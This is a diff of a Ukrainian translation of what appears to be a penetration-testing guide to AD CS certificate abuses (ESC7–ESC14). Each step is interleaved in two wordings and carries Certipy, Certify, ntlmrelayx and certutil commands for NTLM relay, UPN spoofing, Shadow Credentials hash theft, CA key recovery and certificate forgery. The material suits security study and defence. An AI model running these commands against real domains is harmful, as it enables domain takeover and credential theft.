І нарешті, ми можемо **отримати виданий сертифікат** за допомогою команди `req` та параметра `-retrieve <request ID>`.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -335,67 +333,67 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
### Атака 3 Зловживання розширеннями Manage Certificates (SetExtension)
### Атака 3 Manage Certificates Extension Abuse (SetExtension)
#### Пояснення
На додаток до класичних зловживань ESC7 (включаючи увімкнення EDITF атрибутів або затвердження очікуючих запитів), **Certify 2.0** відкрив новий примітив, який потребує лише роль *Manage Certificates* (теж відома як **Certificate Manager / Officer**) на Enterprise CA.
Окрім класичних зловживань ESC7 (уключення EDITF атрибутів або затвердження очікуваних запитів), **Certify 2.0** виявив новий примітив, який вимагає лише роль *Manage Certificates* (також відома як **Certificate Manager / Officer**) на Enterprise CA.
RPC-метод `ICertAdmin::SetExtension` може бути виконаний будь-яким суб'єктом, що має *Manage Certificates*. Хоча метод традиційно використовувався легітимними CA для оновлення розширень у **pending** запитах, нападник може зловживати ним, щоб **додати *нестандартне* розширення сертифіката** (наприклад користувацький OID *Certificate Issuance Policy* типу `1.1.1.1`) до запиту, який чекає на затвердження.
RPC-метод `ICertAdmin::SetExtension` може бути виконаний будь-яким обліковим записом, що має *Manage Certificates*. Хоча метод традиційно використовувався легітимними CA для оновлення розширень у **pending** запитах, атака дозволяє додати *незвичне* розширення сертифіката (наприклад кастомний OID *Certificate Issuance Policy*, такий як `1.1.1.1`) до запиту, що чекає на затвердження.
Оскільки цільовий template **не визначає значення за замовчуванням для цього розширення**, CA НЕ перезапише контрольоване атакуючим значення, коли запит буде виданий. В результаті сертифікат містить розширення, обране атакуючим, яке може:
Оскільки цільовий шаблон **не визначає значення за замовчуванням** для цього розширення, CA НЕ перезапише кероване атакуючим значення під час видачі сертифіката. Результуючий сертифікат отримає розширення, обране атакуючим, яке може:
* Відповідати вимогам Application / Issuance Policy інших вразливих templates (що призводить до ескалації привілеїв).
* Задовольнити вимоги Application / Issuance Policy у інших вразливих шаблонів (призводячи до ескалації привілеїв).
* Інжектувати додаткові EKU або політики, що надають сертифікату несподівану довіру в сторонніх системах.
Коротко, *Manage Certificates* — раніше вважалася «менш потужною» частиною ESC7 — тепер може бути використана для повної ескалації привілеїв або довготривалого персисту, без зміни конфігурації CA або потреби у більш обмежливому праві *Manage CA*.
Коротко: *Manage Certificates* — раніше вважалася «менш потужною» половиною ESC7 — тепер може бути використана для повної ескалації привілеїв або довготривалої персистенції, без змін конфігурації CA або потреби у більш обмежуючому праві *Manage CA*.
#### Зловживання примітивом за допомогою Certify 2.0
1. **Надішліть certificate request, який залишиться *pending*.** Це можна забезпечити template, що вимагає затвердження менеджером:
1. **Подайте запит на сертифікат, який залишатиметься *pending*.** Це можна змусити за допомогою шаблону, що вимагає схвалення менеджера:
```powershell
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# Take note of the returned Request ID
```
2. **Додайте користувацьке розширення до pending запиту** з використанням нової команди `manage-ca`:
2. **Додайте кастомне розширення до pending запиту** за допомогою нової команди `manage-ca`:
```powershell
Certify.exe manage-ca --ca SERVER\\CA-NAME \
--request-id 1337 \
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
```
*Якщо template ще не визначає розширення *Certificate Issuance Policies*, наведене вище значення буде збережено після видачі.*
*Якщо шаблон ще не визначає розширення *Certificate Issuance Policies*, наведене вище значення буде збережено після видачі.*
3. **Видайте запит** (якщо ваша роль також має права схвалення *Manage Certificates*) або дочекайтеся, поки оператор його затвердить. Після видачі завантажте сертифікат:
3. **Видайте запит** (якщо ваша роль також має права затвердження *Manage Certificates*) або дочекайтесь, поки оператор його затвердить. Після видачі завантажте сертифікат:
```powershell
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
```
4. Отриманий сертифікат тепер містить зловмисний OID issuance-policy і може бути використаний у подальших атаках (наприклад ESC13, ескалація домену тощо).
4. Результуючий сертифікат тепер містить зловмисний issuance-policy OID і може бути використаний у наступних атаках (наприклад ESC13, ескалація у домені тощо).
> NOTE: Ту ж атаку можна виконати за допомогою Certipy ≥ 4.7 через команду `ca` та параметр `-set-extension`.
> NOTE: Ту саму атаку можна виконати за допомогою Certipy ≥ 4.7 через команду `ca` і параметр `-set-extension`.
## NTLM relay до HTTP кінцевих точок AD CS ESC8
## NTLM Relay to AD CS HTTP Endpoints ESC8
### Пояснення
> [!TIP]
> В середовищах, де **AD CS встановлено**, якщо існує вразлива **web enrollment endpoint** і принаймні один **certificate template опублікований**, який дозволяє **domain computer enrollment та client authentication** (наприклад дефолтний **`Machine`** template), стає можливим, що **будь-який комп’ютер із активною spooler service може бути скомпрометований атакуючим**!
> У середовищах, де **AD CS встановлено**, якщо існує вразливий **web enrollment endpoint** і принаймні один **certificate template** опублікований, що дозволяє **domain computer enrollment та client authentication** (наприклад дефолтний **`Machine`** шаблон), це робить можливим компрометацію **будь-якого комп’ютера з активним spooler service** атакуючим!
AD CS підтримує кілька **HTTP-based enrollment methods**, доступних через додаткові серверні ролі, які адміністратори можуть інсталювати. Ці інтерфейси для HTTP-реєстрації сертифікатів вразливі до **NTLM relay attacks**. Нападник з **компрометованої машини** може сімітувати будь-який AD акаунт, який автентифікується через вхідний NTLM. Імітуючи жертву, нападник може звертатися до цих веб-інтерфейсів, щоб **запитати клієнтський certificate для client authentication, використовуючи `User` або `Machine` templates**.
AD CS підтримує декілька **HTTP-based enrollment** методів, які надаються через додаткові серверні ролі, що адміністратори можуть встановити. Ці інтерфейси для HTTP-реєстрації сертифікатів вразливі до **NTLM relay** атак. Атакуючий, зкомпрометувавши машину, може видавати себе за будь-який AD обліковий запис, який автентифікується через вхідний NTLM. Під особою жертви ці веб-інтерфейси можна використати для **запиту client authentication certificate** з використанням шаблонів `User` або `Machine`.
- **Web enrollment interface** (старіший ASP-додаток, доступний за `http://<caserver>/certsrv/`) за замовчуванням працює лише через HTTP, що не захищає від NTLM relay attacks. Додатково, він явно дозволяє лише NTLM аутентифікацію через Authorization HTTP header, роблячи більш безпечні методи автентифікації, як Kerberos, непридатними.
- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service та **Network Device Enrollment Service** (NDES) за замовчуванням підтримують negotiate аутентифікацію через Authorization HTTP header. Negotiate аутентифікація **підтримує і** Kerberos, і **NTLM**, що дозволяє нападнику **понизити** автентифікацію до NTLM під час relay-атак. Хоча ці веб-сервіси за замовчуванням дозволяють HTTPS, сам по собі HTTPS **не захищає від NTLM relay attacks**. Захист від NTLM relay для HTTPS сервісів можливий лише коли HTTPS комбінується з channel binding. На жаль, AD CS не включає Extended Protection for Authentication на IIS, що потрібно для channel binding.
- **Web enrollment interface** (старіший ASP-додаток, доступний за `http://<caserver>/certsrv/`) за замовчуванням працює через HTTP, що не захищає від NTLM relay атак. Крім того, він явно дозволяє лише NTLM аутентифікацію через свої Authorization HTTP заголовки, роблячи більш безпечні методи аутентифікації, як Kerberos, непридатними.
- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service та **Network Device Enrollment Service** (NDES) за замовчуванням підтримують negotiate аутентифікацію через свій Authorization HTTP заголовок. Negotiate підтримує як Kerberos, так і **NTLM**, дозволяючи атакуючому **понизити до NTLM** під час relay атак. Хоча ці веб-служби зазвичай запускаються з HTTPS, сам по собі HTTPS **не захищає від NTLM relay**. Захист від NTLM relay для HTTPS сервісів можливий лише коли HTTPS поєднано з channel binding. На жаль, AD CS не вмикає Extended Protection for Authentication на IIS, що необхідно для channel binding.
Поширеною **проблемою** NTLM relay атак є **коротка тривалість NTLM сесій** та неможливість нападника взаємодіяти з сервісами, які **вимагають NTLM signing**.
Поширеною **проблемою** NTLM relay атак є **коротка тривалість NTLM сесій** та неможливість атакуючого взаємодіяти зі службами, які **вимагають NTLM signing**.
Однак це обмеження долається використанням NTLM relay для отримання сертифіката для користувача, оскільки строк дії сертифіката визначає тривалість сесії, і сертифікат можна використовувати з сервісами, які **вимагають NTLM signing**. Інструкції щодо використання вкраденого сертифіката див. у:
Втім, це обмеження обходиться шляхом використання NTLM relay для отримання сертифіката для користувача — термін дії сертифіката визначає тривалість сесії, а сертифікат можна застосовувати до сервісів, що **вимагають NTLM signing**. Інструкції з використання вкраденого сертифіката див. у:
{{#ref}}
account-persistence.md
{{#endref}}
Інше обмеження NTLM relay атак — це те, що **машина, контрольована нападником, має бути автентифікована акаунтом жертви**. Нападник може або чекати, або намагатися **спричинити** таку автентифікацію:
Ще одне обмеження NTLM relay атак полягає в тому, що **машина, під контролем атакуючого, має бути автентифікована обліковим записом жертви**. Атакуючий може або чекати, або спробувати **примусити** цю автентифікацію:
{{#ref}}
../printers-spooler-service-abuse.md
@ -403,13 +401,13 @@ account-persistence.md
### **Зловживання**
[**Certify**](https://github.com/GhostPack/Certify)s `cas` перераховує **увімкнені HTTP кінцеві точки AD CS**:
[**Certify**](https://github.com/GhostPack/Certify)s `cas` перераховує **увімкнені HTTP AD CS кінцеві точки**:
```
Certify.exe cas
```
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
Властивість `msPKI-Enrollment-Servers` використовується корпоративними Certificate Authorities (CAs) для збереження кінцевих точок Certificate Enrollment Service (CES). Ці кінцеві точки можна розпарсити та перелічити, використовуючи інструмент **Certutil.exe**:
Властивість `msPKI-Enrollment-Servers` використовується корпоративними органами сертифікації (CAs) для зберігання кінцевих точок Certificate Enrollment Service (CES). Ці кінцеві точки можна розпарсити та перерахувати за допомогою інструмента **Certutil.exe**:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
@ -437,9 +435,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### Зловживання за допомогою [Certipy](https://github.com/ly4k/Certipy)
Запит сертифіката за замовчуванням виконується Certipy на основі шаблону `Machine` або `User`, що визначається тим, чи закінчується ім'я облікового запису, яке ретранслюється, символом `$`. Вказати альтернативний шаблон можна за допомогою параметра `-template`.
Запит на сертифікат за замовчуванням виконується Certipy на основі шаблону `Machine` або `User`, що визначається тим, чи закінчується ім'я облікового запису, яке ретранслюється, на `$`. Вказати альтернативний шаблон можна за допомогою параметра `-template`.
Можна використати техніку, таку як [PetitPotam](https://github.com/ly4k/PetitPotam), щоб примусити автентифікацію. При роботі з контролерами домену потрібно вказати `-template DomainController`.
Потім можна застосувати техніку, таку як [PetitPotam](https://github.com/ly4k/PetitPotam), щоб змусити провести аутентифікацію. При роботі з контролерами домену необхідно вказати `-template DomainController`.
```bash
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -452,55 +450,55 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
## Немає розширення безпеки - ESC9 <a href="#id-5485" id="id-5485"></a>
## Відсутність розширення безпеки - ESC9 <a href="#id-5485" id="id-5485"></a>
### Пояснення
Нове значення **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) для **`msPKI-Enrollment-Flag`**, відоме як ESC9, забороняє вбудовування **нового розширення безпеки `szOID_NTDS_CA_SECURITY_EXT`** у сертифікат. Цей прапорець набуває значення, коли `StrongCertificateBindingEnforcement` встановлено в `1` (налаштування за замовчуванням), на відміну від значення `2`. Його важливість зростає в сценаріях, де може бути використане слабше відображення сертифіката для Kerberos або Schannel (як у ESC10), оскільки відсутність ESC9 не змінює вимог.
Нове значення **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) для **`msPKI-Enrollment-Flag`**, відоме як ESC9, запобігає вбудовуванню **нового `szOID_NTDS_CA_SECURITY_EXT` розширення безпеки** в сертифікат. Цей прапорець набуває значення, коли `StrongCertificateBindingEnforcement` встановлено в `1` (налаштування за замовчуванням), на відміну від значення `2`. Його значущість зростає у сценаріях, де може бути використано слабше відображення сертифікатів для Kerberos або Schannel (як у ESC10), оскільки відсутність ESC9 не змінює вимог.
Умови, за яких налаштування цього прапорця стає істотним, включають:
Умови, за яких налаштування цього прапорця набуває значення, включають:
- `StrongCertificateBindingEnforcement` не встановлено в `2` (за замовчуванням — `1`), або `CertificateMappingMethods` містить прапорець `UPN`.
- `StrongCertificateBindingEnforcement` не встановлено на `2` (за замовчуванням `1`), або `CertificateMappingMethods` містить прапорець `UPN`.
- Сертифікат позначено прапорцем `CT_FLAG_NO_SECURITY_EXTENSION` у налаштуванні `msPKI-Enrollment-Flag`.
- Сертифікат містить будь-який EKU для автентифікації клієнта.
- Над будь-яким обліковим записом доступні права `GenericWrite`, що дозволяє скомпрометувати інший.
- Сертифікат вказує будь-який EKU для автентифікації клієнта.
- `GenericWrite` дозволи доступні на будь-який акаунт, щоб скомпрометувати інший.
### Сценарій зловживання
Припустимо, `John@corp.local` має права `GenericWrite` над `Jane@corp.local` з метою скомпрометувати `Administrator@corp.local`. Шаблон сертифіката `ESC9`, на який `Jane@corp.local` має право здійснити реєстрацію (enroll), налаштований з прапорцем `CT_FLAG_NO_SECURITY_EXTENSION` у параметрі `msPKI-Enrollment-Flag`.
Припустимо, `John@corp.local` має `GenericWrite` дозволи над `Jane@corp.local`, з метою скомпрометувати `Administrator@corp.local`. Шаблон сертифіката `ESC9`, в який `Jane@corp.local` має право enroll, налаштований з прапорцем `CT_FLAG_NO_SECURITY_EXTENSION` у параметрі `msPKI-Enrollment-Flag`.
Спочатку hash `Jane` отримується за допомогою Shadow Credentials завдяки `GenericWrite`, якими володіє `John`:
Спочатку хеш `Jane` отримано за допомогою Shadow Credentials завдяки `John`-овому `GenericWrite`:
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
Після цього `userPrincipalName` користувача `Jane` змінено на `Administrator`, навмисно опустивши частину домену `@corp.local`:
Згодом значення `userPrincipalName` користувача `Jane` було змінено на `Administrator`, навмисно опустивши частину домену `@corp.local`:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Ця модифікація не порушує обмежень, оскільки `Administrator@corp.local` залишається відмінним значенням для `Administrator`'s `userPrincipalName`.
Ця модифікація не порушує обмежень, оскільки `Administrator@corp.local` залишається відмінним як `Administrator`'s `userPrincipalName`.
Після цього шаблон сертифіката `ESC9`, позначений як вразливий, запитується від імені `Jane`:
Після цього шаблон сертифіката `ESC9`, позначений вразливим, запитується як `Jane`:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
Зауважено, що `userPrincipalName` сертифіката відображає `Administrator`, не містить жодного “object SID”.
Зауважено, що у сертифіката поле `userPrincipalName` відображає `Administrator`, позбавлене будь-якого “object SID”.
`userPrincipalName` користувача `Jane` потім було повернено до її початкового значення, `Jane@corp.local`:
Поле `userPrincipalName` користувача `Jane` потім відновлюється до початкового значення `Jane@corp.local`:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
Спроба автентифікації за допомогою виданого сертифіката тепер повертає NT hash користувача `Administrator@corp.local`. Команда має включати `-domain <domain>` через відсутність у сертифікаті вказівки домену:
Спроба автентифікації за виданим сертифікатом тепер повертає NT-хеш `Administrator@corp.local`. Команда має містити `-domain <domain>` через відсутність специфікації домену в сертифікаті:
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
## Weak Certificate Mappings - ESC10
## Слабкі відображення сертифікатів - ESC10
### Explanation
### Пояснення
ESC10 стосується двох значень ключів реєстру на контролері домену:
Під ESC10 маються на увазі два значення ключів реєстру на контролері домену:
- Значення за замовчуванням для `CertificateMappingMethods` у `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel``0x18` (`0x8 | 0x10`), раніше встановлювалося як `0x1F`.
- Параметр за замовчуванням для `StrongCertificateBindingEnforcement` у `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc``1`, раніше — `0`.
- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`.
- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`.
**Випадок 1**
@ -510,69 +508,69 @@ ESC10 стосується двох значень ключів реєстру
Якщо `CertificateMappingMethods` включає біт `UPN` (`0x4`).
### Сценарій зловживання 1
### Випадок зловживання 1
Якщо `StrongCertificateBindingEnforcement` налаштовано як `0`, обліковий запис A з правами `GenericWrite` може бути використаний для компрометації будь-якого облікового запису B.
Наприклад, маючи права `GenericWrite` на `Jane@corp.local`, атакуючий прагне скомпрометувати `Administrator@corp.local`. Процедура аналогічна ESC9 і дозволяє використовувати будь-який шаблон сертифіката.
Наприклад, маючи права `GenericWrite` на `Jane@corp.local`, нападник намагається скомпрометувати `Administrator@corp.local`. Процедура повторює ESC9, дозволяючи використовувати будь-який шаблон сертифіката.
Спочатку hash користувача `Jane` отримується за допомогою Shadow Credentials, експлуатуючи `GenericWrite`.
Спочатку хеш `Jane` отримується за допомогою Shadow Credentials, використовуючи `GenericWrite`.
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
Потім у `Jane` було змінено `userPrincipalName` на `Administrator`, свідомо опустивши частину `@corp.local`, щоб уникнути порушення обмеження.
Надалі `userPrincipalName` користувача `Jane` змінюється на `Administrator`, навмисно опускаючи частину `@corp.local`, щоб уникнути порушення обмеження.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Після цього від імені `Jane` запитується сертифікат для клієнтської аутентифікації, з використанням шаблону за замовчуванням `User`.
Після цього від імені `Jane` запитується сертифікат для клієнтської автентифікації, використовуючи шаблон за замовчуванням `User`.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
Значення `userPrincipalName` у `Jane` потім відновлюється до початкового — `Jane@corp.local`.
`Jane`'s `userPrincipalName` потім відновлюється до свого початкового значення, `Jane@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
Аутентифікація за допомогою отриманого сертифіката поверне NT hash для `Administrator@corp.local`, тому в команді потрібно вказати домен через відсутність відомостей про домен у сертифікаті.
Аутентифікація за допомогою отриманого сертифіката поверне NT hash для `Administrator@corp.local`, тому в команді необхідно вказати домен через відсутність даних про домен у сертифікаті.
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### Випадок зловживання 2
### Сценарій зловживання 2
Коли `CertificateMappingMethods` містить бітову мітку `UPN` (`0x4`), обліковий запис A з правами `GenericWrite` може скомпрометувати будь-який обліковий запис B, який не має властивості `userPrincipalName`, включно з обліковими записами машин та вбудованим доменним адміністратором `Administrator`.
Якщо в `CertificateMappingMethods` міститься бітовий прапор `UPN` (`0x4`), обліковий запис A з правами `GenericWrite` може скомпрометувати будь-який обліковий запис B, який не має властивості `userPrincipalName`, включно з машинними обліковими записами та вбудованим доменним адміністратором `Administrator`.
Тут мета — скомпрометувати `DC$@corp.local`, починаючи з отримання хешу `Jane` через Shadow Credentials, використовуючи `GenericWrite`.
Тут мета — скомпрометувати `DC$@corp.local`, починаючи з отримання хеша `Jane` за допомогою Shadow Credentials, використовуючи `GenericWrite`.
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
`userPrincipalName` користувача `Jane` потім встановлюється як `DC$@corp.local`.
`userPrincipalName` користувача `Jane` потім встановлюється в `DC$@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
Сертифікат для автентифікації клієнта запитується як `Jane`, використовуючи шаблон за замовчуванням `User`.
Запитано сертифікат для аутентифікації клієнта від імені `Jane` із використанням шаблону за замовчуванням `User`.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
Після цього процесу значення `userPrincipalName` для `Jane` повертається до початкового значення.
Після цього процесу `userPrincipalName` користувача `Jane` повертається до початкового значення.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
Для аутентифікації через Schannel використовується опція Certipy `-ldap-shell`, що вказує на успішну аутентифікацію як `u:CORP\DC$`.
Для автентифікації через Schannel використовується опція Certipy `-ldap-shell`, що вказує на успішну аутентифікацію як `u:CORP\DC$`.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Через LDAP shell команди, такі як `set_rbcd`, дозволяють виконувати атаки Resource-Based Constrained Delegation (RBCD), що потенційно можуть скомпрометувати доменний контролер.
Через LDAP shell команди, такі як `set_rbcd`, дозволяють проводити атаки Resource-Based Constrained Delegation (RBCD), що потенційно можуть скомпрометувати контролер домену.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Ця вразливість також поширюється на будь-який обліковий запис користувача, який не має `userPrincipalName` або коли він не відповідає `sAMAccountName`, при цьому за замовчуванням `Administrator@corp.local` є основною ціллю через підвищені LDAP-привілеї та відсутність `userPrincipalName` за замовчуванням.
Ця вразливість також поширюється на будь-які облікові записи користувачів, які не мають `userPrincipalName` або у яких він не співпадає з `sAMAccountName`, причому за замовчуванням `Administrator@corp.local` є основною ціллю через підвищені LDAP-привілеї та відсутність `userPrincipalName`.
## Relaying NTLM to ICPR - ESC11
### Пояснення
Якщо CA Server не налаштований з `IF_ENFORCEENCRYPTICERTREQUEST`, це дозволяє виконувати NTLM relay атаки без підпису через RPC-службу. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
Якщо CA Server не сконфігурований з `IF_ENFORCEENCRYPTICERTREQUEST`, це дозволяє виконувати NTLM relay attacks без підпису через RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
Ви можете використати `certipy` для перевірки, чи `Enforce Encryption for Requests` вимкнено, і certipy покаже вразливості `ESC11`.
Ви можете використати `certipy` для перевірки, чи `Enforce Encryption for Requests` вимкнено, і certipy покаже `ESC11` Vulnerabilities.
```bash
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -610,29 +608,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
Примітка: Для контролерів домену потрібно вказати `-template` у DomainController.
Примітка: Для контролерів домену ми повинні вказати `-template` у DomainController.
Або використовуючи [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
```bash
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
```
## Shell access to ADCS CA with YubiHSM - ESC12
## Shell access до ADCS CA with YubiHSM - ESC12
### Explanation
### Пояснення
Адміністратори можуть налаштувати Certificate Authority так, щоб він зберігався на зовнішньому пристрої, наприклад, на "Yubico YubiHSM2".
Адміністратори можуть налаштувати Certificate Authority так, щоб зберігати її на зовнішньому пристрої, наприклад на "Yubico YubiHSM2".
Якщо USB-пристрій підключено до CA-сервера через USB-порт, або через USB device server у випадку, коли CA-сервер — віртуальна машина, для Key Storage Provider потрібен authentication key (іноді званий "password") для генерації та використання ключів у YubiHSM.
Якщо USB-пристрій підключено до сервера CA через USB-порт, або через USB device server у випадку, якщо сервер CA є віртуальною машиною, для Key Storage Provider потрібен ключ автентифікації (іноді його називають "password"), щоб генерувати та використовувати ключі в YubiHSM.
Цей ключ/password зберігається в реєстрі за адресою `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` у відкритому вигляді.
Цей ключ/пароль зберігається в реєстрі за адресою `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` у відкритому вигляді.
Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
Посилання: [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
### Abuse Scenario
### Сценарій зловживання
Якщо приватний ключ CA зберігається на фізичному USB-пристрої, і ви отримали shell доступ, можливо відновити ключ.
Якщо приватний ключ CA зберігається на фізичному USB-пристрої, і ви отримали shell access, можливо відновити ключ.
Спочатку потрібно отримати сертифікат CA (він публічний), а потім:
Спершу потрібно отримати CA certificate (це публічне), а потім:
```cmd
# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>
@ -640,17 +638,17 @@ $ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
```
Нарешті, використайте certutil `-sign` для підроблення нового довільного сертифіката, використовуючи сертифікат CA та його приватний ключ.
Нарешті, використайте команду certutil `-sign`, щоб підробити новий довільний сертифікат, використовуючи сертифікат CA та його приватний ключ.
## OID Group Link Abuse - ESC13
### Пояснення
Атрибут `msPKI-Certificate-Policy` дозволяє додати політику видачі до шаблону сертифіката. Об'єкти `msPKI-Enterprise-Oid`, які відповідають за політики видачі, можна знайти в Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) контейнера PKI OID. Політику можна пов'язати з AD group за допомогою атрибута цього об'єкта `msDS-OIDToGroupLink`, що дозволяє системі авторизувати користувача, який пред'являє сертифікат, ніби він є членом цієї групи. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Атрибут `msPKI-Certificate-Policy` дозволяє додавати політику видачі до шаблону сертифіката. Об'єкти `msPKI-Enterprise-Oid`, які відповідають за політики видачі, можна виявити в Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) контейнера PKI OID. Політику можна пов'язати з AD-групою, використовуючи атрибут `msDS-OIDToGroupLink` цього об'єкта, що дозволяє системі авторизувати користувача, який пред'являє сертифікат, ніби він є членом групи. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Іншими словами, якщо користувач має дозвіл на реєстрацію (enroll) сертифіката і сертифікат пов'язаний з групою OID, користувач може успадкувати привілеї цієї групи.
Іншими словами, коли користувач має дозвіл на реєстрацію сертифіката і сертифікат пов'язаний з OID-групою, користувач може успадкувати привілеї цієї групи.
Використайте [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) щоб знайти OIDToGroupLink:
Використовуйте [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) щоб знайти OIDToGroupLink:
```bash
Enumerating OIDs
------------------------
@ -674,47 +672,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
```
### Сценарій зловживання
Знайдіть права користувача — можна використати `certipy find` або `Certify.exe find /showAllPermissions`.
Знайдіть дозволи користувача, які можна використати за допомогою `certipy find` або `Certify.exe find /showAllPermissions`.
Якщо `John` має право виконувати enroll на `VulnerableTemplate`, користувач може успадкувати привілеї групи `VulnerableGroup`.
Якщо `John` має дозвіл на реєстрацію для шаблону `VulnerableTemplate`, користувач може успадкувати привілеї групи `VulnerableGroup`.
Все, що потрібно зробити — просто вказати шаблон, і він отримає сертифікат із правами OIDToGroupLink.
Все, що потрібно зробити — просто вказати шаблон; він отримає сертифікат з правами OIDToGroupLink.
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## Уразлива конфігурація поновлення сертифікатів — ESC14
## Vulnerable Certificate Renewal Configuration- ESC14
### Пояснення
### Explanation
Опис на https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping надзвичайно вичерпний. Нижче наведено цитату оригінального тексту.
ESC14 стосується вразливостей, що виникають через «слабке явне відображення сертифікатів», головним чином через неправильне використання або небезпечну конфігурацію атрибута Active Directory user або computer `altSecurityIdentities`. Цей мультизначний атрибут дозволяє адміністраторам вручну пов’язувати X.509 сертифікати з обліковим записом AD для аутентифікації. Коли він заповнений, ці явні відображення можуть переважати стандартну логіку відображення сертифікатів, яка зазвичай спирається на UPNs або DNS імена в SAN сертифіката, або на SID, вбудований в розширення безпеки `szOID_NTDS_CA_SECURITY_EXT`.
ESC14 стосується вразливостей, що виникають через "weak explicit certificate mapping", головним чином через неправильне використання або небезпечну конфігурацію атрибута `altSecurityIdentities` на облікових записах користувачів або комп'ютерів в Active Directory. Цей багатоманітний атрибут дозволяє адміністраторам вручну пов'язувати X.509 сертифікати з обліковим записом AD для цілей аутентифікації. Коли він заповнений, ці явні відображення можуть переважати над стандартною логікою відображення сертифікатів, яка зазвичай покладається на UPN або DNS-імена в SAN сертифіката, або SID, вбудований у розширення безпеки `szOID_NTDS_CA_SECURITY_EXT`.
«Слабке» відображення виникає, коли рядок значення, що використовується в атрибуті `altSecurityIdentities` для ідентифікації сертифіката, є занадто широким, легко вгадується, спирається на неконкретні поля сертифіката або використовує легко підроблювані компоненти сертифіката. Якщо атакуючий може отримати або створити сертифікат, атрибути якого відповідають такому слабо визначеному явному відображенню для привілейованого облікового запису, він може використати цей сертифікат для аутентифікації та імітації цього облікового запису.
